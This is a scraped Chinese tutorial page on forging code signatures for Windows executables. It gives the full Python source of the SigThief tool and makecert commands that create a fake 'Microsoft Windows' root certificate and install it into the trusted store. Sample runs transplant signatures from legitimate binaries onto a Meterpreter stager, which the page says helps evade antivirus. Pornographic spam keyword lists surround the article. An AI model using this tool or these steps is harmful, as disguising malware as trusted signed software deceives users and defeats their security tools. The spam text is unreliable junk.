校园春色亚洲色图_亚洲视频分类_中文字幕精品一区二区精品_麻豆一区区三区四区产品精品蜜桃

主頁 > 知識庫 > Python使用sigthief簽發證書的實現步驟

Python使用sigthief簽發證書的實現步驟

熱門標簽:百度地圖標注位置怎么修改 洪澤縣地圖標注 高德地圖標注是免費的嗎 無錫客服外呼系統一般多少錢 老人電話機器人 北京電信外呼系統靠譜嗎 大連crm外呼系統 梅州外呼業務系統 地圖標注視頻廣告

證書制作工具下載: https://github.com/3gstudent/signtools

制作并簽發證書:

正常情況下,針對exe簽發證書有如下幾個步驟.

1.查詢一個程序中存在的證書,可以使用下面三個命令。

c:\&; signtools Get-AuthenticodeSignature C:\Windows\System32\ConsentUX.dll
c:\&; signtools signtool.exe verify /v C:\Windows\System32\ConsentUX.dll
c:\&; signtools sigcheck.exe -q C:\Windows\System32\ConsentUX.dll

2.使用makecert命令制作證書,sv-私鑰文件名,ss-主題的證書存儲名稱,n-證書頒發對象,r-證書存儲位置。

c:\&; signtools makecert -n "CN=Microsoft Windows" -r -sv Root.pvk Root.cer
c:\&; signtools cert2spc Root.cer Root.spc
c:\&; signtools pvk2pfx -pvk Root.pvk -pi 1233 -spc Root.spc -pfx Root.pfx -f

3.注冊證書與簽發證書。

c:\&; signtools certmgr.exe -add -c Root.cer -s -r localmachine root
c:\&; signtools signtool sign /f Root.pfx /p 1233 lyshark.exe

而如果要給PowerShell腳本添加證書,則執行如下命令即可.

1.生成證書文件

c:\&; makecert -n "CN=Microsoft Windows" -r -eku 1.3.6.1.5.5.7.3.3 -sv certtest.pvk certtest.cer
c:\&; cert2spc certtest.cer certtest.spc
c:\&; pvk2pfx -pvk certtest.pvk -pi 123123 -spc certtest.spc -pfx certtest.pfx -f

2.給powershell腳本簽名

c:\&; powershell
c:\&; $cert = Get-PfxCertificate certtest.pfx
c:\&; Set-AuthenticodeSignature -Filepath lyshark.ps1 -Cert $cert

偽造PE文件證書:

有些反病毒軟件供應商優先考慮某些證書頒發機構而不檢查簽名是否真正有效,并且有一些只是檢查以查看certTable是否填充了某些值。這個工具讓你快速將從已簽名的PE文件中刪除簽名并將其附加到另一個文件,修復證書表以對文件進行簽名。

開源工具SigThief可用于偽造證書,將下方代碼保存為sigthief.py即可:

import sys
import struct
import shutil
import io
from optparse import OptionParser

def gather_file_info_win(binary):
        """
        Borrowed from BDF...
        I could just skip to certLOC... *shrug*
        """
        flItms = {}
        binary = open(binary, 'rb')
        binary.seek(int('3C', 16))
        flItms['buffer'] = 0
        flItms['JMPtoCodeAddress'] = 0
        flItms['dis_frm_pehdrs_sectble'] = 248
        flItms['pe_header_location'] = struct.unpack('i', binary.read(4))[0]
        # Start of COFF
        flItms['COFF_Start'] = flItms['pe_header_location'] + 4
        binary.seek(flItms['COFF_Start'])
        flItms['MachineType'] = struct.unpack('H', binary.read(2))[0]
        binary.seek(flItms['COFF_Start'] + 2, 0)
        flItms['NumberOfSections'] = struct.unpack('H', binary.read(2))[0]
        flItms['TimeDateStamp'] = struct.unpack('I', binary.read(4))[0]
        binary.seek(flItms['COFF_Start'] + 16, 0)
        flItms['SizeOfOptionalHeader'] = struct.unpack('H', binary.read(2))[0]
        flItms['Characteristics'] = struct.unpack('H', binary.read(2))[0]
        #End of COFF
        flItms['OptionalHeader_start'] = flItms['COFF_Start'] + 20

        #if flItms['SizeOfOptionalHeader']:
            #Begin Standard Fields section of Optional Header
        binary.seek(flItms['OptionalHeader_start'])
        flItms['Magic'] = struct.unpack('H', binary.read(2))[0]
        flItms['MajorLinkerVersion'] = struct.unpack("!B", binary.read(1))[0]
        flItms['MinorLinkerVersion'] = struct.unpack("!B", binary.read(1))[0]
        flItms['SizeOfCode'] = struct.unpack("I", binary.read(4))[0]
        flItms['SizeOfInitializedData'] = struct.unpack("I", binary.read(4))[0]
        flItms['SizeOfUninitializedData'] = struct.unpack("I",
                                                               binary.read(4))[0]
        flItms['AddressOfEntryPoint'] = struct.unpack('I', binary.read(4))[0]
        flItms['PatchLocation'] = flItms['AddressOfEntryPoint']
        flItms['BaseOfCode'] = struct.unpack('I', binary.read(4))[0]
        if flItms['Magic'] != 0x20B:
            flItms['BaseOfData'] = struct.unpack('I', binary.read(4))[0]
        # End Standard Fields section of Optional Header
        # Begin Windows-Specific Fields of Optional Header
        if flItms['Magic'] == 0x20B:
            flItms['ImageBase'] = struct.unpack('Q', binary.read(8))[0]
        else:
            flItms['ImageBase'] = struct.unpack('I', binary.read(4))[0]
        flItms['SectionAlignment'] = struct.unpack('I', binary.read(4))[0]
        flItms['FileAlignment'] = struct.unpack('I', binary.read(4))[0]
        flItms['MajorOperatingSystemVersion'] = struct.unpack('H',
                                                                   binary.read(2))[0]
        flItms['MinorOperatingSystemVersion'] = struct.unpack('H',
                                                                   binary.read(2))[0]
        flItms['MajorImageVersion'] = struct.unpack('H', binary.read(2))[0]
        flItms['MinorImageVersion'] = struct.unpack('H', binary.read(2))[0]
        flItms['MajorSubsystemVersion'] = struct.unpack('H', binary.read(2))[0]
        flItms['MinorSubsystemVersion'] = struct.unpack('H', binary.read(2))[0]
        flItms['Win32VersionValue'] = struct.unpack('I', binary.read(4))[0]
        flItms['SizeOfImageLoc'] = binary.tell()
        flItms['SizeOfImage'] = struct.unpack('I', binary.read(4))[0]
        flItms['SizeOfHeaders'] = struct.unpack('I', binary.read(4))[0]
        flItms['CheckSum'] = struct.unpack('I', binary.read(4))[0]
        flItms['Subsystem'] = struct.unpack('H', binary.read(2))[0]
        flItms['DllCharacteristics'] = struct.unpack('H', binary.read(2))[0]
        if flItms['Magic'] == 0x20B:
            flItms['SizeOfStackReserve'] = struct.unpack('Q', binary.read(8))[0]
            flItms['SizeOfStackCommit'] = struct.unpack('Q', binary.read(8))[0]
            flItms['SizeOfHeapReserve'] = struct.unpack('Q', binary.read(8))[0]
            flItms['SizeOfHeapCommit'] = struct.unpack('Q', binary.read(8))[0]

        else:
            flItms['SizeOfStackReserve'] = struct.unpack('I', binary.read(4))[0]
            flItms['SizeOfStackCommit'] = struct.unpack('I', binary.read(4))[0]
            flItms['SizeOfHeapReserve'] = struct.unpack('I', binary.read(4))[0]
            flItms['SizeOfHeapCommit'] = struct.unpack('I', binary.read(4))[0]
        flItms['LoaderFlags'] = struct.unpack('I', binary.read(4))[0]  # zero
        flItms['NumberofRvaAndSizes'] = struct.unpack('I', binary.read(4))[0]
        # End Windows-Specific Fields of Optional Header
        # Begin Data Directories of Optional Header
        flItms['ExportTableRVA'] = struct.unpack('I', binary.read(4))[0]
        flItms['ExportTableSize'] = struct.unpack('I', binary.read(4))[0]
        flItms['ImportTableLOCInPEOptHdrs'] = binary.tell()
        #ImportTable SIZE|LOC
        flItms['ImportTableRVA'] = struct.unpack('I', binary.read(4))[0]
        flItms['ImportTableSize'] = struct.unpack('I', binary.read(4))[0]
        flItms['ResourceTable'] = struct.unpack('Q', binary.read(8))[0]
        flItms['ExceptionTable'] = struct.unpack('Q', binary.read(8))[0]
        flItms['CertTableLOC'] = binary.tell()
        flItms['CertLOC'] = struct.unpack("I", binary.read(4))[0]
        flItms['CertSize'] = struct.unpack("I", binary.read(4))[0]
        binary.close()
        return flItms


def copyCert(exe):
    flItms = gather_file_info_win(exe)

    if flItms['CertLOC'] == 0 or flItms['CertSize'] == 0:
        # not signed
        print("Input file Not signed!")
        sys.exit(-1)

    with open(exe, 'rb') as f:
        f.seek(flItms['CertLOC'], 0)
        cert = f.read(flItms['CertSize'])
    return cert


def writeCert(cert, exe, output):
    flItms = gather_file_info_win(exe)
    
    if not output: 
        output = output = str(exe) + "_signed"

    shutil.copy2(exe, output)
    
    print("Output file: {0}".format(output))

    with open(exe, 'rb') as g:
        with open(output, 'wb') as f:
            f.write(g.read())
            f.seek(0)
            f.seek(flItms['CertTableLOC'], 0)
            f.write(struct.pack("I", len(open(exe, 'rb').read())))
            f.write(struct.pack("I", len(cert)))
            f.seek(0, io.SEEK_END)
            f.write(cert)

    print("Signature appended. \nFIN.")

def outputCert(exe, output):
    cert = copyCert(exe)
    if not output:
        output = str(exe) + "_sig"

    print("Output file: {0}".format(output))

    open(output, 'wb').write(cert)

    print("Signature ripped. \nFIN.")


def check_sig(exe):
    flItms = gather_file_info_win(exe)
 
    if flItms['CertLOC'] == 0 or flItms['CertSize'] == 0:
        # not signed
        print("Inputfile Not signed!")
    else:
        print("Inputfile is signed!")


def truncate(exe, output):
    flItms = gather_file_info_win(exe)
 
    if flItms['CertLOC'] == 0 or flItms['CertSize'] == 0:
        # not signed
        print("Inputfile Not signed!")
        sys.exit(-1)
    else:
        print( "Inputfile is signed!")

    if not output:
        output = str(exe) + "_nosig"

    print("Output file: {0}".format(output))

    shutil.copy2(exe, output)

    with open(output, "r+b") as binary:
        print('Overwriting certificate table pointer and truncating binary')
        binary.seek(-flItms['CertSize'], io.SEEK_END)
        binary.truncate()
        binary.seek(flItms['CertTableLOC'], 0)
        binary.write(b"\x00\x00\x00\x00\x00\x00\x00\x00")

    print("Signature removed. \nFIN.")


def signfile(exe, sigfile, output):
    flItms = gather_file_info_win(exe)
    
    cert = open(sigfile, 'rb').read()

    if not output: 
        output = output = str(exe) + "_signed"

    shutil.copy2(exe, output)
    
    print("Output file: {0}".format(output))
    
    with open(exe, 'rb') as g:
        with open(output, 'wb') as f:
            f.write(g.read())
            f.seek(0)
            f.seek(flItms['CertTableLOC'], 0)
            f.write(struct.pack("I", len(open(exe, 'rb').read())))
            f.write(struct.pack("I", len(cert)))
            f.seek(0, io.SEEK_END)
            f.write(cert)
    print("Signature appended. \nFIN.")


if __name__ == "__main__":
    usage = 'usage: %prog [options]'
    parser = OptionParser()
    parser.add_option("-i", "--file", dest="inputfile", 
                  help="input file", metavar="FILE")
    parser.add_option('-r', '--rip', dest='ripsig', action='store_true',
                  help='rip signature off inputfile')
    parser.add_option('-a', '--add', dest='addsig', action='store_true',
                  help='add signautre to targetfile')
    parser.add_option('-o', '--output', dest='outputfile',
                  help='output file')
    parser.add_option('-s', '--sig', dest='sigfile',
                  help='binary signature from disk')
    parser.add_option('-t', '--target', dest='targetfile',
                  help='file to append signature to')
    parser.add_option('-c', '--checksig', dest='checksig', action='store_true',
                  help='file to check if signed; does not verify signature')
    parser.add_option('-T', '--truncate', dest="truncate", action='store_true',
                  help='truncate signature (i.e. remove sig)')
    (options, args) = parser.parse_args()
    
    # rip signature
    # inputfile and rip to outputfile
    if options.inputfile and options.ripsig:
        print("Ripping signature to file!")
        outputCert(options.inputfile, options.outputfile)
        sys.exit()    

    # copy from one to another
    # inputfile and rip to targetfile to outputfile    
    if options.inputfile and options.targetfile:
        cert = copyCert(options.inputfile)
        writeCert(cert, options.targetfile, options.outputfile)
        sys.exit()

    # check signature
    # inputfile 
    if options.inputfile and options.checksig:
        check_sig(options.inputfile) 
        sys.exit()

    # add sig to target file
    if options.targetfile and options.sigfile:
        signfile(options.targetfile, options.sigfile, options.outputfile)
        sys.exit()
        
    # truncate
    if options.inputfile and options.truncate:
        truncate(options.inputfile, options.outputfile)
        sys.exit()

    parser.print_help()
    parser.error("You must do something!")

我們需要找一個帶有證書的文件,然后通過使用sigthief.py完成證書的克隆。此處就拿系統中的ConsentUX.dll演示。

c:\&; python sigthief.py -i ConsentUX.dll -t lyshark.exe -o check.exe
Output file: check.exe
Signature appended.
FIN.

也可以從二進制文件中獲取簽名并將其添加到另一個二進制文件中

$ ./sigthief.py -i tcpview.exe -t x86_meterpreter_stager.exe -o /tmp/msftesting_tcpview.exe 
Output file: /tmp/msftesting_tcpview.exe
Signature appended. 
FIN.

將簽名保存到磁盤以供以后使用,提供了一個轉存功能。

$ ./sigthief.py -i tcpview.exe -r                                                        
Ripping signature to file!
Output file: tcpview.exe_sig
Signature ripped. 
FIN.
```BASH
使用翻錄簽名
```BASH
$ ./sigthief.py -s tcpview.exe_sig -t x86_meterpreter_stager.exe                               
Output file: x86_meterpreter_stager.exe_signed
Signature appended. 
FIN.
```BASH
截斷(刪除)簽名 這實際上有非常有趣的結果,可以幫助您找到重視代碼功能簽名的AV)
```BASH
$ ./sigthief.py -i tcpview.exe -T    
Inputfile is signed!
Output file: tcpview.exe_nosig
Overwriting certificate table pointer and truncating binary
Signature removed. 
FIN.

文章出處:https://www.cnblogs.com/lyshark

以上就是Python使用sigthief簽發證書的實現步驟的詳細內容,更多關于Python使用sigthief簽發證書的資料請關注腳本之家其它相關文章!

您可能感興趣的文章:
  • 基于python檢查SSL證書到期情況代碼實例
  • Python SSL證書驗證問題解決方案
  • python requests證書問題解決
  • python有證書的加密解密實現方法
  • python實現無證書加密解密實例

標簽:岳陽 怒江 長春 清遠 吉林 安慶 洛陽 泉州

巨人網絡通訊聲明:本文標題《Python使用sigthief簽發證書的實現步驟》,本文關鍵詞  Python,使用,sigthief,簽發,;如發現本文內容存在版權問題,煩請提供相關信息告之我們,我們將及時溝通與處理。本站內容系統采集于網絡,涉及言論、版權與本站無關。
  • 相關文章
  • 下面列出與本文章《Python使用sigthief簽發證書的實現步驟》相關的同類信息!
  • 本頁收集關于Python使用sigthief簽發證書的實現步驟的相關信息資訊供網民參考!
  • 推薦文章
    校园春色亚洲色图_亚洲视频分类_中文字幕精品一区二区精品_麻豆一区区三区四区产品精品蜜桃
    国产高清精品久久久久| 99久久精品免费看国产免费软件| 国产色产综合色产在线视频| 色综合一区二区三区| 日韩精品色哟哟| 精品日韩在线观看| 国产欧美精品一区二区色综合朱莉| 成人一区二区三区| 五月婷婷另类国产| 国产不卡视频一区二区三区| 国产酒店精品激情| 丁香桃色午夜亚洲一区二区三区| 欧美日韩国产成人在线91| 国产一区二区精品久久| 国产在线乱码一区二区三区| 日韩精品每日更新| 欧美日韩精品一区二区三区| 26uuu国产电影一区二区| 国产福利一区在线观看| 亚洲国产精品久久久久婷婷884| 日韩欧美不卡一区| 一区精品在线播放| 男女性色大片免费观看一区二区 | 蜜臀久久99精品久久久久宅男 | 欧美久久久久久久久久| 日日夜夜一区二区| av中文字幕不卡| 91成人在线精品| 欧美一区二区三区视频免费| 久久视频一区二区| 国产在线精品一区在线观看麻豆| 99re热这里只有精品视频| 99精品视频一区| 国产日韩欧美一区二区三区乱码| 午夜精品免费在线| 久久影音资源网| 亚洲一二三区在线观看| jlzzjlzz欧美大全| 亚洲免费在线视频一区 二区| 国产乱妇无码大片在线观看| 国产精品不卡在线观看| 91一区二区在线| 国产亲近乱来精品视频| 午夜精品国产更新| 精品久久五月天| 色94色欧美sute亚洲线路一ni| 欧美激情一区二区三区全黄| 95精品视频在线| 日韩午夜激情免费电影| 亚洲1区2区3区视频| 国产欧美日韩麻豆91| 欧美精选一区二区| 亚洲欧美视频一区| 7777精品伊人久久久大香线蕉完整版 | 久久久精品免费观看| 老司机一区二区| 欧美艳星brazzers| 成人综合婷婷国产精品久久蜜臀 | av动漫一区二区| 中文字幕成人av| 日韩一级高清毛片| 色久优优欧美色久优优| 国产精品亚洲第一区在线暖暖韩国| 日韩国产高清影视| aaa亚洲精品一二三区| 亚洲免费在线视频一区 二区| 国产精品一区二区三区99 | 亚洲欧美自拍偷拍色图| 国产永久精品大片wwwapp| 亚洲国产一区二区三区| 亚洲成年人影院| 欧美一二三四区在线| 国产成人高清在线| 91精品国产综合久久久久| 蜜桃一区二区三区在线观看| 国产精品久久久久久久浪潮网站 | 国产麻豆日韩欧美久久| 国产精品污网站| 97精品久久久午夜一区二区三区 | av不卡免费电影| 欧美极品xxx| 久久日韩精品一区二区五区| 亚洲色图清纯唯美| 国产欧美日韩久久| 亚洲国产高清不卡| 免费成人在线影院| 成人高清视频免费观看| 日本在线播放一区二区三区| 日韩vs国产vs欧美| 亚洲国产精品一区二区久久恐怖片| 国产在线精品一区在线观看麻豆| 久久久精品欧美丰满| 国产精品传媒视频| 国产精品久久久久一区二区三区| 精品日韩99亚洲| 欧美吞精做爰啪啪高潮| 精品国产1区二区| 欧美午夜精品久久久久久孕妇 | 热久久一区二区| 亚洲视频一区二区在线观看| 国产日产欧美一区二区三区 | 亚洲精品日韩综合观看成人91| 成人a免费在线看| 9191久久久久久久久久久| 日韩午夜在线播放| 亚洲欧美在线观看| 秋霞午夜鲁丝一区二区老狼| 国产麻豆午夜三级精品| 亚洲男人的天堂在线观看| 国产精品不卡一区| 午夜精品久久久久久久久| 国产精品一区专区| 欧美色欧美亚洲另类二区| 国产色一区二区| 日本不卡一区二区三区| 欧美系列亚洲系列| 国产精品视频观看| 国产成人综合精品三级| 欧美日韩一级二级| 亚洲精品国产精华液| 99视频有精品| 中文字幕免费观看一区| 亚洲成人免费在线| 99精品视频免费在线观看| 久久久久97国产精华液好用吗| 亚洲蜜臀av乱码久久精品蜜桃| www.亚洲色图.com| 一区二区三区免费在线观看| 一本大道av一区二区在线播放| 久久久久国产精品麻豆ai换脸| 亚洲国产美女搞黄色| 欧美日韩国产精品成人| 午夜久久电影网| 欧美日韩午夜精品| 亚洲人成影院在线观看| 成人午夜激情影院| 日韩伦理av电影| 欧美综合在线视频| 亚洲国产精品久久不卡毛片| 色综合久久66| 精品福利一二区| 大美女一区二区三区| 亚洲一线二线三线久久久| 91精品蜜臀在线一区尤物| 国产乱色国产精品免费视频| 国产日产欧美一区| 777a∨成人精品桃花网| 从欧美一区二区三区| 丝瓜av网站精品一区二区| 久久综合久久综合久久| 一本大道久久a久久综合| 国产伦理精品不卡| 夜夜嗨av一区二区三区| 国产亚洲一区二区在线观看| 欧美日韩一级二级| 在线欧美日韩精品| 99国产精品一区| 日韩欧美在线不卡| 亚洲一区二区三区在线| 欧美色老头old∨ideo| 亚洲精品中文字幕乱码三区| 色欧美乱欧美15图片| 裸体在线国模精品偷拍| 色悠悠久久综合| 粉嫩欧美一区二区三区高清影视| 国产精品理论在线观看| 91精品国产黑色紧身裤美女| 国产激情视频一区二区在线观看| 这里只有精品99re| 粉嫩绯色av一区二区在线观看| 欧美aa在线视频| 久久国产麻豆精品| 成人性视频免费网站| 国产乱人伦偷精品视频免下载| 亚洲国产精品自拍| 久久精品99国产精品日本| 国产精品18久久久久久久久 | 亚洲欧美视频在线观看视频| 国产精品久久久久久户外露出| 国产精品素人视频| 亚洲第一在线综合网站| 麻豆91免费看| 色综合天天天天做夜夜夜夜做| 欧美日韩美少妇| 国产精品色呦呦| 激情图区综合网| 欧美性生活一区| 久久久亚洲高清| 久久一留热品黄| 亚洲一区成人在线| 国产精品小仙女| 精品国产一区二区国模嫣然| 国产精品国产a| 不卡av电影在线播放| 日韩免费观看2025年上映的电影| 久久久精品黄色| 亚洲成av人片一区二区三区| 色哟哟一区二区| 亚洲一级不卡视频| 日韩电影免费一区|